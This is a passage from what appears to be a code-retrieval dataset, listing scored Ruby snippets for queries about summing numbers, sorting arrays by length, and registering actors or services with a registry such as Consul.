"def sum(a,b)\n a + b\nend", "title": "" }, { "docid": "ef10c2b77bd16d74f2c0ba5b8fb2fe0d", "score": "0.6494201", "text": "def sum_numbers (numbers)\n # Your code here\nend", "title": "" }, { "docid": "e7ff3234dad91ed119ab9770cbf55e89", "score": "0.648623", "text": "def sum(a,b)\n a + b \nend", "title": "" }, { "docid": "2b5ccceea942cbc2ea31d29e17d1c06b", "score": "0.64816004", "text": "def sum(in_array)\n # YOUR CODE HERE\n sumr=0\n if in_array.length == 0\n sumr=0\n elsif \n #Enumerable\n sumr= in_array.reduce(:+)\n end\n\n return sumr\nend", "title": "" }, { "docid": "e398120dc781a8b74e82fae5462f00e1", "score": "0.64769655", "text": "def sum(list)\n\ttotal = 0\n list.each { |ele| total += ele }\n total\nend", "title": "" }, { "docid": "d6548c4682f5f3c25f57021a64f887e8", "score": "0.64762175", "text": "def total(num)\n sum = 0\n num.each do |x|\n sum = sum + x\n end\n return sum\nend", "title": "" }, { "docid": "0d8ca35674939a3aef25afb43fb9eb14", "score": "0.64748", "text": "def sum (tableau)\n chiffre = 0\n tableau.each do |element|\n chiffre = chiffre + element\n end\n return chiffre\nend", "title": "" }, { "docid": "b115c4896eb094adb871461af95c2cd1", "score": "0.6474789", "text": "def sum(a)\nb = 0\na.each do |i|\nb += i\nend\nreturn b\nend", "title": "" }, { "docid": "01e98ff719b95388a3b4faccaf8f7e54", "score": "0.64744025", "text": "def sum(a, b)\n a + b\nend", "title": "" }, { "docid": "01e98ff719b95388a3b4faccaf8f7e54", "score": "0.64744025", "text": "def sum(a, b)\n a + b\nend", "title": "" }, { "docid": "073f3cd4acbd33ebda9bed22d2ac2242", "score": "0.6468185", "text": "def on_call_sum(context, expression)\n nodes = process(expression, context)\n sum = 0.0\n\n unless nodes.is_a?(XML::NodeSet)\n raise TypeError, 'sum() can only operate on NodeSet instances'\n end\n\n nodes.each do |node|\n sum += node.text.to_f\n end\n\n return sum\n end", "title": "" }, { "docid": "8f3786d5158846471e89002d41e23e1a", "score": "0.6467494", "text": "def total(arr)\n arr.inject(:+)\nend", "title": "" }, { "docid": "acd7e6111eaef445a43c16b9e029dabb", "score": "0.6465696", "text": "def total(arr)\n return arr.inject(:+)\nend", "title": "" }, { "docid": "6020ab7af536217f2cd50dd28f5ee428", "score": "0.6464673", "text": "def sum arr\n sum = 0\n arr.each do |i|\n sum = sum + i\n end\n return sum\nend", "title": "" }, { "docid": "acbd6d8338ec8b49c512c51a933ec3ef", "score": "0.6463789", "text": "def total(a,b)\r\n return (a+b)\r\nend", "title": "" }, { "docid": "50f3733b42b7b058f267c783cd6c6dd0", "score": "0.64637667", "text": "def calculated; end", "title": "" }, { "docid": "7031cc4509cfa61f384f2e69800b8b0b", "score": "0.64585865", "text": "def simpleArraySum(ar)\n #\n # Write your code here.\n #\n ar.reduce(&:+)\nend", "title": "" }, { "docid": "e69ccc10a04e0f3e1a8d662b63441ff1", "score": "0.6457918", "text": "def sum arr\n return arr.sum() # 합\nend", "title": "" } ]
281464204b9b851d7535582e7e03b389
`inputs` array must be sorted by length
[ { "docid": "abbfd227747805acc3fc4ab55851b1ab", "score": "0.0", "text": "def output_map(inputs)\n one = inputs[0]\n seven = inputs[1]\n four = inputs[2]\n eight = inputs[-1]\n\n zero_six_nine = inputs[6..8]\n six = zero_six_nine.find { !_1.superset?(one) }\n zero = zero_six_nine.difference([six]).find { !_1.superset?(four) }\n nine = zero_six_nine.difference([zero, six])[0]\n\n two_three_five = inputs[3..5]\n three = two_three_five.find { _1.superset?(one) }\n top_left_and_middle = four - one\n five = two_three_five.difference([three]).find { _1.superset?(top_left_and_middle) }\n two = two_three_five.difference([three, five])[0]\n\n {\n one => 1,\n two => 2,\n three => 3,\n four => 4,\n five => 5,\n six => 6,\n seven => 7,\n eight => 8,\n nine => 9,\n zero => 0,\n }\n end", "title": "" } ]
[ { "docid": "c5cec0dd58ea9afb91c5482c4257e3de", "score": "0.62255424", "text": "def sort3(array, length)\n \nend", "title": "" }, { "docid": "d57a68193f0ac650d84886bf2afc3662", "score": "0.61711514", "text": "def sort3(array, length)\n\nend", "title": "" }, { "docid": "d57a68193f0ac650d84886bf2afc3662", "score": "0.61711514", "text": "def sort3(array, length)\n\nend", "title": "" }, { "docid": "431c3e6947da74e11c5a9e1446c20055", "score": "0.5980161", "text": "def length_finder(input_array)\nend", "title": "" }, { "docid": "5a45d83925eb7973e3d35c7bc6fae93b", "score": "0.59714264", "text": "def rover_inputs\n @input[1..@input.length].each_slice(2).to_a\nend", "title": "" }, { "docid": "68e520079d8de552d116b064ec3b4c79", "score": "0.596759", "text": "def initialize(internal_arr= [], input_arr=[])\n @internal_arr = internal_arr\n @input_arr = input_arr\n # Fill in the rest of the initialize method here.\n # What should you do with each element of the incoming array?\n for i in 1..(@internal_arr.length - 1)\n value = @internal_arr[i]\n j = i - 1\n while j >= 0 and @internal_arr[j] > value\n @internal_arr[j + 1] = @internal_arr[j] \n j -= 1\n end\n @internal_arr[j + 1] = value\n end\n end", "title": "" }, { "docid": "b8caa87864a31573ed34658ef3bef93d", "score": "0.5934068", "text": "def sahort(array)\n array.sort_by! {|x| x.length}\n p array\nend", "title": "" }, { "docid": "df8ebbc1c591323cd85c50328186462e", "score": "0.5852549", "text": "def sort_array", "title": "" }, { "docid": "a1e0baf71156093309ce44ea3d18ba0e", "score": "0.58466876", "text": "def inputs; end", "title": "" }, { "docid": "a1e0baf71156093309ce44ea3d18ba0e", "score": "0.58466876", "text": "def inputs; end", "title": "" }, { "docid": "a1e0baf71156093309ce44ea3d18ba0e", "score": "0.58466876", "text": "def inputs; end", "title": "" }, { "docid": "a1e0baf71156093309ce44ea3d18ba0e", "score": "0.58466876", "text": "def inputs; end", "title": "" }, { "docid": "5e871415d1472a041467a0347bfa3f8a", "score": "0.5830157", "text": "def mergesort(input)\nend", "title": "" }, { "docid": "1b7232b1087d477813ae7a7205047458", "score": "0.58150005", "text": "def sorted_triples(array)\nend", "title": "" }, { "docid": "a001ae280a3058943a3bf7740d37c91d", "score": "0.57880354", "text": "def normalize_inputs\n Input::Keys.each do |_key, key_array|\n next if key_array.size >= 5\n first_key = key_array[0] || 0\n joy_key = key_array.find { |value| value < 0 } || first_key\n (key_array.size - (joy_key == first_key ? 0 : 1)).upto(3) do |index|\n key_array[index] = first_key\n end\n key_array[4] = joy_key\n end\n end", "title": "" }, { "docid": "1b62fddd8269efef9c25657df28fe696", "score": "0.5780877", "text": "def zero_sort(array)\n end", "title": "" }, { "docid": "1099dd586048ab6f5e2fc349c3a78431", "score": "0.5756164", "text": "def initialize(input_arr=[])\n @internal_arr = []\n # Fill in the rest of the initialize method here.\n # What should you do with each element of the incoming array?\n\n # This takes each item in the array and runs it into the add\n # function, which in turn adds each element back into the \n # array from smallest to biggest\n for i in input_arr\n add(i)\n end \n end", "title": "" }, { "docid": "c462f876c765e8d4121d3a17c5165c0c", "score": "0.5723857", "text": "def prepare_input(length); end", "title": "" }, { "docid": "8d37223a58b51a4a3bce7297521b1b56", "score": "0.57160485", "text": "def sorting_arrays(array)\n\n\n end", "title": "" }, { "docid": "ffb96c01080c9d639c7305df827bfdb8", "score": "0.56922334", "text": "def initialize(input_arr=[])\n @internal_arr = []\n input_arr.each{|e| add(e)}\n # Fill in the rest of the initialize method here.\n # What should you do with each element of the incoming array?\n #sort it and maintain a sorted order.\n end", "title": "" }, { "docid": "b2ec8c56e99a1de9f11b995c00727c6c", "score": "0.5681883", "text": "def sort_array(array_input)\r\n done = false\r\n while done == false\r\n done = true\r\n \r\n index = 0 \r\n while index < array_input.length - 1 \r\n if array_input[index] > array_input[index+1]\r\n done = false\r\n placer = array_input[index+1]\r\n array_input[index+1] = array_input[index]\r\n array_input[index] = placer\r\n end # end if statement\r\n index +=1\r\n end # end of while loop\r\n \r\n end # while done == false\r\n return array_input\r\nend", "title": "" }, { "docid": "adb93d69490106628093a221b81369dc", "score": "0.565473", "text": "def initialize(input_arr=[])\n @internal_arr = input_arr\n self.sort_array()\n # Fill in the rest of the initialize method here.\n # What should you do with each element of the incoming array?\n end", "title": "" }, { "docid": "756dad1b774955f647dadcf2f3b01291", "score": "0.56350666", "text": "def sort1(array)\n (1..array.length).to_a\nend", "title": "" }, { "docid": "b1d81a98b6678a349c0297e5aaf79253", "score": "0.5624358", "text": "def sort_inputs\n @inputs.sort_by!(&:created_at)\n end", "title": "" }, { "docid": "e4540ac60d4eba05fd8650337f4c0cc3", "score": "0.56240815", "text": "def sort(array)\n\nend", "title": "" }, { "docid": "aced2247de15d49462d32ceecbedf8a5", "score": "0.5604763", "text": "def sorted_by_length?(arr)\n\tarr.each_cons(2).all? { |x, y| (x.length <=> y.length) <= 0 }\nend", "title": "" }, { "docid": "69ae02e7f4e9eadd7eef14cbd03f2277", "score": "0.5604697", "text": "def required_inputs\n []\n end", "title": "" }, { "docid": "8f7f6b7e74c644ebd0ee4fe454413563", "score": "0.559547", "text": "def sort1(array)\n (1...array.length).to_a\nend", "title": "" }, { "docid": "81b3d88f90233641845f11a7b2173622", "score": "0.5585316", "text": "def sort\n # split entire array\n sort_array(0, @size - 1)\n end", "title": "" }, { "docid": "2faec7430e83646e3c84d60e6bbf4f71", "score": "0.55672336", "text": "def insert_sort(array)\nend", "title": "" }, { "docid": "ecf624a3253e4f1035a6cf2e88efef83", "score": "0.55618715", "text": "def initialize(input)\n @input = input\n split_to_array\n perform_ordered_operations\n end", "title": "" }, { "docid": "ac82e0d37617949047314557ad688eb9", "score": "0.5551677", "text": "def get_sorted_array\n end", "title": "" }, { "docid": "ac82e0d37617949047314557ad688eb9", "score": "0.5551677", "text": "def get_sorted_array\n end", "title": "" }, { "docid": "ac82e0d37617949047314557ad688eb9", "score": "0.5551677", "text": "def get_sorted_array\n end", "title": "" }, { "docid": "4d322cebb6bf9921f2b5e2e5eac8c79c", "score": "0.5528074", "text": "def sorted?(array)\n \nend", "title": "" }, { "docid": "d1fbc7b2f83e7b0b12629a42d67e8f70", "score": "0.5527775", "text": "def sort1(array)\n\nend", "title": "" }, { "docid": "d1fbc7b2f83e7b0b12629a42d67e8f70", "score": "0.5527775", "text": "def sort1(array)\n\nend", "title": "" }, { "docid": "ecd1b1a720117f2fcb585ce6cfd2cd4e", "score": "0.55263513", "text": "def inputs\n @inputs ||= []\n end", "title": "" }, { "docid": "ede76a17bd1a851e63990a477aef661f", "score": "0.5522414", "text": "def is_sorted(input)\n if (input.length < 2)\n return true\n end\n for i in 1..input.length - 1\n if (input[i-1] > input[i])\n return false\n end\n end\n return true\nend", "title": "" }, { "docid": "ede76a17bd1a851e63990a477aef661f", "score": "0.5522414", "text": "def is_sorted(input)\n if (input.length < 2)\n return true\n end\n for i in 1..input.length - 1\n if (input[i-1] > input[i])\n return false\n end\n end\n return true\nend", "title": "" }, { "docid": "a2576198f9a2a9898d072c0ba20bfcf9", "score": "0.55169874", "text": "def assume_unordered_arrays; end", "title": "" }, { "docid": "2c3ec5452514db29a17692bb5e5e1350", "score": "0.5516508", "text": "def sort1(arr)\n (1..arr.length).to_a\nend", "title": "" }, { "docid": "2c3ec5452514db29a17692bb5e5e1350", "score": "0.5516508", "text": "def sort1(arr)\n (1..arr.length).to_a\nend", "title": "" }, { "docid": "083779b1f448007f887c560d1e829105", "score": "0.5516241", "text": "def initialize(input_arr=[])\n @internal_arr = []\n @input_arr = []\n end", "title": "" }, { "docid": "ba71c9c794b6d913b654f0191c8fb305", "score": "0.551415", "text": "def out_put3(input)\n pipe_file\n sort_name = $big_array.sort {|a,b| a[0] <=> b[0]}.reverse\n\nend", "title": "" }, { "docid": "af9bde90e09d1512df8f848a10de0a9d", "score": "0.55094904", "text": "def ensure_arrays(input)\n input.map do |v|\n return [] if v.nil?\n\n v.is_a?(Array) ? v : [v]\n end\n end", "title": "" }, { "docid": "9cacc607dc02c77682528f1696b3a7a3", "score": "0.5506669", "text": "def sorted?(array)\nend", "title": "" }, { "docid": "9b5818a56663c1d81670c74ef7f244e5", "score": "0.55047345", "text": "def sort_array_char_count(array3)\n array3.sort do |a, b|\n a.length <=> b.length\n end\nend", "title": "" }, { "docid": "7a29f6227c4f4f0cdcbe3aa52c614d37", "score": "0.55036634", "text": "def lengths inputs \n\tp inputs.map { |input| input.length } \nend", "title": "" }, { "docid": "a7a1ad5f0b0328589be9d2eed21e6ba3", "score": "0.5499313", "text": "def validate_inputs(operations, inputs_match_outputs = false)\n total_inputs = []\n total_outputs = []\n operations.each do |op|\n total_inputs = total_inputs + op.input_array(INPUT_ARRAY).map!{|fv| fv.sample}\n total_outputs = total_outputs + op.output_array(OUTPUT_ARRAY).map!{|fv| fv.sample}\n end\n\n a = total_inputs.detect{ |sample| total_inputs.count(sample) > 1}\n raise \"Sample #{a.id} has been included multiple times in this job\" if a != nil\n raise \"The number of Input Samples and Output \n Samples do not match\" if total_inputs.length != total_outputs.length && inputs_match_outputs\n raise \"Too many samples for this job. Please re-lauch job with fewer samples\" if total_inputs.length > MAX_INPUTS\n raise \"There are no samples for this job.\" if total_inputs.length <= 0\n end", "title": "" }, { "docid": "fc8b7389f7d7fdd64c155de85199e9b5", "score": "0.5487467", "text": "def sort1(array)\n (1..array.size).to_a\nend", "title": "" }, { "docid": "b10ff6706c487b622011693cf60e0307", "score": "0.54815257", "text": "def sorted?(array)\n\nend", "title": "" }, { "docid": "b88850b3ce3d0f16772a3db7d743e2bb", "score": "0.54799575", "text": "def bucketSort(input)\n\t# your work here\nend", "title": "" }, { "docid": "6fff10489c4a9a27b76290c1e7ee1715", "score": "0.54732275", "text": "def sort\n (@size/2).downto(1) do |i|\n sink(i)\n end\n while(@size > 1)\n exchange(1, @size)\n # order is very important. Reducing size later on, leads to nasty bugs\n @size -= 1\n sink(1)\n end\n @arr\n end", "title": "" }, { "docid": "254fc44ad6629ee1ee14afee3651b30c", "score": "0.54714835", "text": "def bubble_sort(unsorted_array)\n\nend", "title": "" }, { "docid": "c9a9cab4f741faeb8767ce6869b6c055", "score": "0.54708886", "text": "def sort_by_length(arr)\n arr.sort_by { |n| n.length }\nend", "title": "" }, { "docid": "524d1db7c112e2d464a0485e1536fd68", "score": "0.54529274", "text": "def sort_array_by_length_of_contents(arr)\n arr.sort_by { |x|\n x.length\n }\nend", "title": "" }, { "docid": "f1ab5a33618c990309bb5703ef397f98", "score": "0.5448703", "text": "def sort_array_char_count(array_of_s)\narray_of_s.sort{|x,y| x.length <=> y.length}\nend", "title": "" }, { "docid": "1910e24c9f1d6d592b5cc220dda85c3b", "score": "0.54312104", "text": "def load_inputs(opts)\n @inputs = []\n opts.each do |i|\n @inputs << Input.new(i)\n end\n sort_inputs\n end", "title": "" }, { "docid": "b68fc6b533414a878e0405ff6da53fca", "score": "0.5427725", "text": "def bubble_sort(input)\n while true\n sorted = true\n (input.length - 1).times do |i|\n if input[i] > input[i + 1]\n input[i], input[i + 1] = input[i + 1], input[i]\n sorted = false\n end\n end\n break if sorted\n end\n input\nend", "title": "" }, { "docid": "b0e334347f26d1252c61ac037041a281", "score": "0.54173803", "text": "def insertionSort(input)\n input.each_with_index do |element, index|\n unless index == input.length - 1\n subarray_index = index_of_subarray_min(index + 1, input)\n\n if element > input[subarray_index]\n input = swap(index, subarray_index, input)\n end\n end\n end\n\n return input\nend", "title": "" }, { "docid": "e3ab51c68957c51c3e4303ca81c79ca1", "score": "0.53889215", "text": "def sort1(arr)\n (1..(arr.length)).to_a\nend", "title": "" }, { "docid": "86b152b556d8e3a9a2c76e83244c03d7", "score": "0.5387472", "text": "def length_finder(input_array)\n arr = []\n input_array.each { |item| arr.push(item.length) }\n arr\nend", "title": "" }, { "docid": "9f5a30a4e9b77528c54dfba0a3c45e80", "score": "0.53852206", "text": "def snail_sort(array)\n array.any? do |elem|\n return 'there are no digits in the input arrays' if elem.empty?\n\n if elem.size != array[0].size\n return 'the number inputs in each input array must be the same'\n end\n end\n\n sort(array)\nend", "title": "" }, { "docid": "9acf3cfa96bcf1be78bf9d6a01d228fd", "score": "0.5370733", "text": "def sort_array_char_count(array)\n array.sort do |a, b|\n a.length <=> b.length\nend\nend", "title": "" }, { "docid": "1d0c717d41bec71b0e82d1bb1f9e7df7", "score": "0.5366956", "text": "def length_finder(input_array)\n input_array.map { |i| i.length }\nend", "title": "" }, { "docid": "ba9cf61c3fecb8c7c622b18edd479417", "score": "0.5363579", "text": "def counting_sort(input, k)\n counts = Array.new(k+1)\n sorted = Array.new(input.size)\n (0..k).each { |i| counts[i] = 0 }\n input.each { |element| counts[element[0]] += 1 }\n (1..k).each { |i| counts[i] += counts[i-1] }\n (input.size-1).downto(0).each do |index|\n input_elem = input[index]\n counts_elem = counts[input_elem[0]] # ow many elements are less than this?\n # our arrays are zero indexed\n output_index = counts_elem - 1\n sorted[output_index] = input_elem\n counts[input_elem[0]] -= 1\n end\n sorted\nend", "title": "" }, { "docid": "448e287c4fc6aff6dc4df3ea4750b9eb", "score": "0.5358503", "text": "def sort_array_char_count(array)\n array.sort do |x, y|\n x.length <=> y.length\n end\nend", "title": "" }, { "docid": "f930679c96a71e823867fc492316d581", "score": "0.5356088", "text": "def sort_by_length(my_sentence)\n # verify input. if only one word, return word\n if my_sentence.length == 1\n return []\n elsif\n # split input sentence into array\n my_sentence_array = my_sentence.split\n # save length of array to varialbe\n my_sentence_array_length = my_sentence_array.length\n # start loop \n loop do \n # set swapped to false\n swapped = false\n # create times loop and go over each index in array until (length - 1)\n (my_sentence_array_length - 1).times do |index|\n # check if index[0].length is greater than index[1].length\n if my_sentence_array[index].length > my_sentence_array[index + 1].length\n # if condition above is true...swap those two indexes with each other - this is the swapping\n my_sentence_array[index], my_sentence_array[index + 1] = my_sentence_array[index + 1], my_sentence_array[index]\n # change swapped value to true so that the loop continues\n swapped = true\n end\n end\n # if no swaps, then input is in order and break out of loop\n break if not swapped \n end\n # return expected output\n return my_sentence_array\n end\nend", "title": "" }, { "docid": "a3ef430a2c3d18845afcb7e1215d26ac", "score": "0.5352706", "text": "def sort_array_char_count(arr)\n arr.sort do |a,b|\n a.length<=>b.length\n end\nend", "title": "" }, { "docid": "1377fd6bc0d898ec09ee9b43bbedd288", "score": "0.53520304", "text": "def improved_code(arrays)\n # Turns arrays(a 2D array) into a one-dimensional array and\n # Sets it to combined_array\n combined_array = arrays.flatten\n\n # Sets sorted_array with deleted last item from combined_array\n sorted_array = [combined_array.delete_at(combined_array.length - 1)]\n\n # Insertion Sort\n for val in combined_array\n i = 0\n while i < sorted_array.length\n if val <= sorted_array[i]\n sorted_array.insert(i, val)\n break\n elsif i == sorted_array.length - 1\n sorted_array << val\n break\n end\n i += 1\n end\n end\n\n # Return the sorted array\n sorted_array\nend", "title": "" }, { "docid": "b3f56fd1f31687f196702c11be6c43df", "score": "0.5348437", "text": "def sort_by_length(my_sentence)\n# splits the sentence\n array_of_sentence = my_sentence.split\n\n #short-cirtcuit retunn statement for empty strings\n if array_of_sentence.length == 0\n return []\n end\n \n i = 0 #internal counter\n \n e = 1 #external counter\n \n # bubble sort :)\n until e == array_of_sentence.length - 1\n \n until i == array_of_sentence.length - 1\n \n if array_of_sentence[i].length > array_of_sentence[i + 1].length\n array_of_sentence[i], array_of_sentence[i + 1] = array_of_sentence[i + 1], array_of_sentence[i]\n i += 1\n else\n i += 1\n end\n \n end\n \n e += 1\n \n end\n\n #returns transformed, digested, sorted array\n return_statement = array_of_sentence\n \n return return_statement\n \nend", "title": "" }, { "docid": "72b2652d87377d1b45d703f265a29fda", "score": "0.5346384", "text": "def length_finder(input_array)\n length_array=[]\n input_array.each do |entry|\n x=entry.length\n length_array.push(x)\n end\n return length_array\nend", "title": "" }, { "docid": "3c6bbf696651566cc524cd8239d75b37", "score": "0.5339222", "text": "def length_finder(input_array)\n new_array = []\n iterator = 0\n \n while iterator < input_array.length\n new_array << input_array[iterator].length\n iterator += 1\n end\n \n new_array\nend", "title": "" }, { "docid": "0c188aa1142e1ea741d5316a9e21cdb5", "score": "0.5332187", "text": "def insertion_sort(array)\n\nend", "title": "" }, { "docid": "407a49944c8af527a4346154164fb895", "score": "0.5328986", "text": "def sort_by_length(arr)\n arr.size.times.each do |t|\n i=0\n arr.each do |word|\n if word.length > arr[i+1].length\n arr[i],arr[i+1] = arr[i+1],arr[i]\n end\n i+=1 if i < arr.size-2\n end\n end\n return arr\nend", "title": "" }, { "docid": "70ed510d8faa45b55a906c892107851d", "score": "0.53253084", "text": "def sort_array_char_count( array )\n array.sort do |a, b|\n a.length <=> b.length\n end\nend", "title": "" }, { "docid": "542f5d255f63d21defbc86accbf3caa1", "score": "0.5323333", "text": "def sort_array_char_count(arr)\n arr.sort do |a,b|\n a.length <=> b.length\n end\nend", "title": "" }, { "docid": "b8f9c29f07674e09d2003e0545ecc53d", "score": "0.532281", "text": "def merge_sort (in_arr, ordered)\n arr = Array.new(in_arr)\n helper = Array.new(arr.length)\n merge_kernel(arr, helper, 0, arr.length-1, ordered)\n return arr\nend", "title": "" }, { "docid": "10852ce2c97128f388a4ab0a3b72e4ec", "score": "0.5320486", "text": "def sort_itself(array)\n (2..array.length).each do |len|\n insert_sort(array, len)\n end\n array\nend", "title": "" }, { "docid": "44a90c2a96180d362cc228f866469135", "score": "0.53202224", "text": "def length_finder(input_array)\n input_array.map {|i| i.length}\nend", "title": "" }, { "docid": "1cf8ae628b752eafa5002feb8a7ae7fa", "score": "0.53189164", "text": "def length_finder(input_array)\n lengths = Array.new\n input_array.each do |i|\n lengths << i.length\n end\n lengths\nend", "title": "" }, { "docid": "0624eb0bd162d897e3f50f72283f9526", "score": "0.53143066", "text": "def process_inputs()\n @inputs.each do |idx, cluster|\n cluster.each do |val|\n compare_with_rest(val, idx)\n end\n if idx % 25 == 0\n puts idx\n end\n end\n end", "title": "" }, { "docid": "b32de61fbc2732cc10802b7a86ce14a0", "score": "0.5312608", "text": "def sorter(array)\n array.sort\nend", "title": "" }, { "docid": "e914799ffdff40b7bad584d8ac612efd", "score": "0.53124493", "text": "def solution(nums)\r\n valid = nums.is_a?(Array) && nums.all? {|i| i.is_a? Fixnum }\r\n valid ? nums.sort() : []\r\nend", "title": "" }, { "docid": "26fdee35713f7147b1568ee0a49ee35b", "score": "0.5310551", "text": "def my_array_sorting_method(source)\n source.length.times do |i|\n source[i] = source[i].to_s\n end\n source.sort\nend", "title": "" }, { "docid": "4c0e02867da48991ec35b563a488c99b", "score": "0.5307941", "text": "def length_finder(input_array)\n input_array.map { |a| a.length}\nend", "title": "" }, { "docid": "1364882ef2180285c5ec1004805c970f", "score": "0.5306298", "text": "def equalize_length(arr1, arr2)\n while arr1.length < arr2.length\n arr1.unshift(0)\n end\n while arr2.length < arr1.length\n arr2.unshift(0)\n end\nend", "title": "" }, { "docid": "2756b18abe2d04b41ba9b192aa78a2db", "score": "0.53026384", "text": "def length_finder(input_array)\n length_array = Array.new\n input_array.each do |x|\n length_array << x.length\n end\n return length_array\nend", "title": "" }, { "docid": "c4ccb1afcea880377e1ded2084d8807f", "score": "0.53004926", "text": "def sort_array_char_count(array)\n array.sort{|a, b| a.length <=> b.length}\nend", "title": "" }, { "docid": "21b0c3b3a445b5877472db46537dec87", "score": "0.52986085", "text": "def push_all(inputs)\n\t\t@inputs.push(*inputs)\n\t\t@wait_for_input = false\n\tend", "title": "" }, { "docid": "5a6ba6dfc55d0c31611cc21ffaa32c90", "score": "0.52976257", "text": "def sort_array_char_count(array)\n array.sort do |a,b|\n a.length <=> b.length\n end\nend", "title": "" }, { "docid": "b4d15fc61a132bf1b22372b2f955c7a8", "score": "0.52970487", "text": "def queue_input(input_data)\n\t\t@input_queue ||= Array.new\n\t\t@input_queue_i ||= 0 # entries @ index >= i have not yet been processed\n\t\t@input_queue << input_data\n\t\t\n\t\t# p @input_queue\n\tend", "title": "" }, { "docid": "65988755c34b1ceed83e6dd4188d5d9b", "score": "0.5294237", "text": "def do_next(deps)\n cands = []\n deps.each { |key, val| cands.push(key) if val.length == 0 }\n ##pp cands\n cands.sort\n #pp '-----'\n #z = deps.sort_by {|key, value| value.length}\n ##zz = z.filter{|x| x[1].length == 0}\n #pp 'z:'\n #pp z\n #pp '-----'\n #deps.sort_by {|key, value| value.length}.first.first\nend", "title": "" }, { "docid": "2fd09d148bffe202cc7d924a6bf9422d", "score": "0.529103", "text": "def length_finder(input_array)\r\n arr = []\r\n input_array.map { |i| arr << i.length }\r\n return arr\r\nend", "title": "" }, { "docid": "dcb55b435f7d11a3a2686a473b369e25", "score": "0.5289253", "text": "def oompa_loompa(input_array)\n\t\tinput_array.select{|n| n.length <= 3} \n end", "title": "" }, { "docid": "13309a85eddbd5718a88cef556d49a89", "score": "0.5288164", "text": "def minimumSwaps(arr)\n arr.size\nend", "title": "" }, { "docid": "8c0779908c35d0c779410a1237fb1cf6", "score": "0.5287774", "text": "def sort_array_char_count(array)\n array.sort { |a, b| a.length <=> b.length }\nend", "title": "" }, { "docid": "8c0779908c35d0c779410a1237fb1cf6", "score": "0.5287296", "text": "def sort_array_char_count(array)\n array.sort { |a, b| a.length <=> b.length }\nend", "title": "" }, { "docid": "8c0779908c35d0c779410a1237fb1cf6", "score": "0.5287296", "text": "def sort_array_char_count(array)\n array.sort { |a, b| a.length <=> b.length }\nend", "title": "" }, { "docid": "8c0779908c35d0c779410a1237fb1cf6", "score": "0.5287296", "text": "def sort_array_char_count(array)\n array.sort { |a, b| a.length <=> b.length }\nend", "title": "" } ]
d91a48762c0bac43af16066ccd6df07b
Register an Actor locally as a named service
[ { "docid": "aa1629ee149332d64ae2eba26e5c5f48", "score": "0.6758107", "text": "def register(name, actor)\n unless actor.is_a?(Actor)\n raise ArgumentError, \"only actors may be registered\"\n end\n\n registered = @@registered.receive\n begin\n registered[name] = actor\n ensure\n @@registered << registered\n end\n end", "title": "" } ]
[ { "docid": "4cbbd293ef8a81d89d0258c44ae5df0b", "score": "0.66221714", "text": "def register(actor, prefix = nil)\n @registry.register(actor, prefix)\n end", "title": "" }, { "docid": "0016076eb6f33685884da7d010cd5212", "score": "0.66043514", "text": "def register(name, actor)\n raise ArgumentError, \"name must be a symbol\" unless Symbol === name\n unless actor.nil? or actor.is_a?(Actor)\n raise ArgumentError, \"only actors may be registered\"\n end\n\n @@registered_lock.receive\n begin\n if actor.nil?\n @@registered.delete(name)\n else\n @@registered[name] = actor\n end\n ensure\n @@registered_lock << nil\n end\n end", "title": "" }, { "docid": "7f37ebd3407b964a6266db3d195adbe5", "score": "0.639774", "text": "def register_service path, service\n @services ||= {}\n @services[path] = service\n end", "title": "" }, { "docid": "d3407914a3c61e7f295638635cc1cd92", "score": "0.6375551", "text": "def register_service(name, version, region, hostname, port)\n uuid = \"#{hostname}:#{port}-#{$$}-#{name}-#{version}\"\n @registry[File.join(uuid,'addr')] = \"#{hostname}:#{port}\"\n @registry[File.join(uuid,'name')] = name\n @registry[File.join(uuid,'version')] = version\n @registry[File.join(uuid,'region')] = region\n @registry[File.join(uuid,'registered')] = true\n # Add to local services list\n @services[uuid] = [name, version, region, hostname, port]\n uuid\n end", "title": "" }, { "docid": "b9110faa4263eadd4798d8416ae7a287", "score": "0.63666224", "text": "def register(actor_instance, prefix = nil)\n @agent.register(actor_instance, prefix)\n end", "title": "" }, { "docid": "3a4cf41d7b2af1c4b70c71a80497df96", "score": "0.63649255", "text": "def regist_service(name, options = nil)\n if name.is_a? Hash\n options = name\n else\n options = {} if options.nil?\n options[:name] = name\n end\n\n json_data = JSON.generate(options)\n\n ConsulClient.http.put ConsulClient.request_url('agent/service/register'), json_data\n end", "title": "" }, { "docid": "8778af324e78b5c4cb389ca08ee83e34", "score": "0.6152348", "text": "def register_service(service)\n services << service\n register_method(service)\n end", "title": "" }, { "docid": "63b3c5cdfa98bd28922f3a1fdc1b1144", "score": "0.61098474", "text": "def service(name, *args, &block)\n Service.define_service(name, *args, &block)\n end", "title": "" }, { "docid": "65ed880d9ff33db838a65454e621a38c", "score": "0.6099587", "text": "def regist_service(name, options = nil)\n if name.is_a? Hash\n options = name\n # name = options[:name]\n else\n options = {} if options.nil?\n options[:name] = name\n end\n\n json_data = JSON.generate(options)\n\n # puts json_data\n\n ConsulClient.http.put ConsulClient.request_url('agent/service/register'), json_data\n end", "title": "" }, { "docid": "bfaaeae6f01307c84d6bce1ff854f5e0", "score": "0.6035451", "text": "def provide_service service_name, service_info={}\n Chef::Log.info(\"[ClusterServiceDiscovery] Registering to provide #{service_name}: #{service_info.inspect}\")\n node.set[:cluster][:services][service_name] = {\n :timestamp => ClusterServiceDiscovery.timestamp,\n }.merge(service_info)\n node.save\n end", "title": "" }, { "docid": "7ca5c4002d189a3470c2255b1e51a800", "score": "0.5958621", "text": "def service(name, args)\n @services ||= {}\n raise(ArgumentError, \"Service name must be a symbol\") unless name.kind_of?(Symbol)\n @services[name.to_sym] = Deployr::Service.new(name, args, @config)\n end", "title": "" }, { "docid": "641fe2605db3ec0182f7fe71f296d1c4", "score": "0.594358", "text": "def simple_register(name, ip, port)\n @consul_host.put('/v1/catalog/register', JSON.generate(\n Node: name,\n Address: ip,\n Service: {\n ID: name,\n Service: name,\n Address: ip,\n Port: port\n }\n ))\n end", "title": "" }, { "docid": "54cd4376b658b69360d9636bc3019818", "score": "0.590398", "text": "def register_service(service)\n unless @services.include?(service)\n @services << service\n end\n end", "title": "" }, { "docid": "83d153ee25fa609be86d26bb0c815268", "score": "0.5888952", "text": "def add_service_for_identifier(service, identifier)\n @services[identifier] = service\n end", "title": "" }, { "docid": "67206d482d696b2745a883d070c082e6", "score": "0.58843035", "text": "def register\n registration = {\n 'Name' => @name,\n 'Port' => @options['bind_port'],\n 'Check' => {\n 'Interval' => 60,\n 'TTL' => '10s'\n }\n }\n req = Net::HTTP::Get.new(\n 